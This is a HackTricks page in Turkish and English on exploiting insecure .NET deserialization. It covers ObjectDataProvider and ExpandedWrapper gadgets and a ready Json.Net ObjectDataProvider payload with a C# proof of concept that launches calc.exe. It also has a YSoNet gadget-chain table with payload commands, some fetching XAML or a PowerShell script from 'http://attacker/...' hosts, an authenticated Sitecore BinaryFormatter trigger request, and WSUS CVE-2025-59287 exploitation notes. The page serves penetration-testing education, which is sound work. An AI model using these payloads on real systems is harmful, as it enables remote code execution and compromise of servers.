Temel .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu yazı, ObjectDataProvider gadget'ının RCE elde etmek için nasıl istismar edildiğini ve bu gadget ile Serialization kütüphaneleri Json.Net ve xmlSerializer'ın nasıl kötüye kullanılabileceğini anlamaya ayrılmıştır.

ObjectDataProvider Gadget

Dokümantasyona göre: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Evet, tuhaf bir açıklama, o zaman bu sınıfın neden bu kadar ilginç olduğunu görelim: Bu sınıfın rastgele bir nesneyi sarmasına, MethodParameters kullanarak rastgele parametreler ayarlamaya, ve sonra MethodName kullanarak rastgele bir nesnenin rastgele parametrelerle tanımlanan rastgele bir fonksiyonunu çağırmaya izin verdiğini görüyoruz.
Dolayısıyla, rastgele nesne, serileştirilirken parametrelerle birlikte bir fonksiyonu çalıştıracaktır.

Bu nasıl mümkün

System.Windows.Data isim alanı, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF yolunda bulunur; ObjectDataProvider burada tanımlanmış ve uygulanmıştır.

dnSpy kullanarak ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki görüntüde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz:

Gördüğünüz gibi MethodName ayarlandığında base.Refresh() çağrılıyor, bunun ne yaptığını görelim:

Tamam, şimdi this.BeginQuery()'nin ne yaptığını görmeye devam edelim. BeginQuery, ObjectDataProvider tarafından override edilmiş ve yaptığı şey şudur:

Kodun sonunda this.QueryWorke(null) çağrısı yaptığını unutmayın. Bunun neyi çalıştırdığını görelim:

Bu QueryWorker fonksiyonunun tamamı olmasa da ilgi çekici kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex); çağrısı yapıyor; bu, ayarlandığı metodun çağrıldığı satırdır.

Eğer sadece MethodName ayarlayarak metodun çalıştırılacağını kontrol etmek isterseniz, bu kodu çalıştırabilirsiniz:

C# örnek: ObjectDataProvider Process.Start'ı tetikliyor
csharp
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Dikkat: System.Windows.Data'i yüklemek için başvuru olarak C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll eklemeniz gerektiğini unutmayın

ExpandedWrapper

Önceki exploit'i kullanırken, bazı durumlarda object bir ObjectDataProvider örneği olarak deserialized as olacaktır (örneğin DotNetNuke vuln'ta, XmlSerializer kullanılarak nesne GetType ile deserialized edilmişti). Bu durumda, ObjectDataProvider örneğinde sarılı olan nesnenin türü hakkında no knowledge of the object type that is wrapped olacaktır (Process gibi). DotNetNuke zafiyeti hakkında daha fazla bilgiyi şuradan bulabilirsiniz: information about the DotNetNuke vuln here.

This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).\ Bu, önceki örnekte sunulan duruma benzer vakalar için çok yararlıdır; çünkü wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

Bu wrapper'ı aşağıdaki kodla inceleyebilirsiniz:

C# demo: ExpandedWrapper encapsulating ObjectDataProvider
csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Resmi web sayfasında bu kütüphanenin Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer yapabildiği belirtiliyor. Yani, eğer deserialize the ObjectDataProvider gadget gerçekleştirebilseydik, bir nesneyi yalnızca deserialize ederek bir RCE tetikleyebilirdik.

Json.Net example

Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl serialize/deserialize edileceğine dair bir örneğe bakalım:

C# demo: Json.NET serialize/deserialize
csharp
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net'i kötüye kullanma

ysoserial.net kullanarak exploit'i oluşturdum:

text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Bu kodda exploit'i test edebilirsiniz, sadece çalıştırın ve calc'ın çalıştırıldığını göreceksiniz:

C# demo: Json.NET ObjectDataProvider exploitation PoC
csharp
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)

The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs unsafe .NET deserialization. Modern red-team tooling such as YSoNet (and the older ysoserial.net) automate the creation of ready-to-use malicious object graphs for dozens of gadgets and serialization formats.

Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.

Gadget ZinciriAna Fikir / PrimitiveYaygın SerileştiricilerYSoNet tek satır komutu
TypeConfuseDelegateCorrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the flyBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourLeverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsOn WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults, then compiles or loads a DLL supplied with -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotelyBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the objectPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Tüm payload'lar varsayılan olarak stdout'a yazılır, bu sayede bunları diğer araçlara (ör. ViewState üreteçleri, base64 kodlayıcılar, HTTP istemcileri) pipe'lamak çok kolaydır.

YSoNet'i Derleme / Kurma

If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Derlenmiş ysonet.exe dosyası daha sonra ysonet/bin/Release/ altında bulunabilir.

Gerçek dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string) wraps new BinaryFormatter().Deserialize(...).
  • Tetikleme yolu: pipeline convertToRuntimeHtmlConvertWebControls. Bu pipeline, id="{iframeId}_inner" olan bir kardeş öğe arar ve base64 ile kodlanmış serileştirilmiş veri olarak değerlendirilen bir value özniteliğini okur. Sonuç string'e dönüştürülüp HTML içine yerleştirilir.
Kimlik doğrulamalı Sitecore sink tetikleyici HTTP akışı
text
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.

Tam bir zincir için — Sitecore'de HTML cache poisoning ile pre‑auth olarak başlayan ve bu sink'e ulaşan:

Sitecore

Vaka çalışması: WSUS unsafe .NET deserialization (CVE-2025-59287)

  • Ürün/rol: Windows Server Update Services (WSUS) rolü, Windows Server 2012 → 2025 üzerinde.
  • Saldırı yüzeyi: IIS-hosted WSUS endpoint'leri HTTP/HTTPS üzerinden TCP 8530/8531 üzerinde (çoğunlukla dahili olarak açılmış; Internet'e açılma yüksek risk).
  • Kök neden: Legacy formatters kullanılarak saldırgan kontrollü verinin kimlik doğrulaması olmadan deserialization'ı:
    • GetCookie() endpoint'i bir AuthorizationCookie'yi BinaryFormatter ile deserializes eder.
    • ReportingWebService unsafe deserialization'ı SoapFormatter aracılığıyla gerçekleştirir.
  • Etki: Hazırlanmış bir serialized nesne, deserialization sırasında bir gadget zincirini tetikler ve WSUS servisi (wsusservice.exe) veya IIS app pool'u wsuspool (w3wp.exe) altında NT AUTHORITY\SYSTEM olarak keyfi kod çalıştırmaya yol açar.

Pratik sömürü notları

  • Discovery: TCP 8530/8531 üzerinde WSUS'u tarayın. WSUS web metodlarına ulaşan herhangi bir pre-auth serialized blob'u BinaryFormatter/SoapFormatter payload'ları için potansiyel bir sink olarak değerlendirin.
  • Payloads: YSoNet/ysoserial.net kullanarak BinaryFormatter veya SoapFormatter zincirleri üretin (örn. TypeConfuseDelegate, ActivitySurrogateSelector, ObjectDataProvider).
  • Başarı durumunda beklenen süreç zinciri:
    • wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe
    • w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin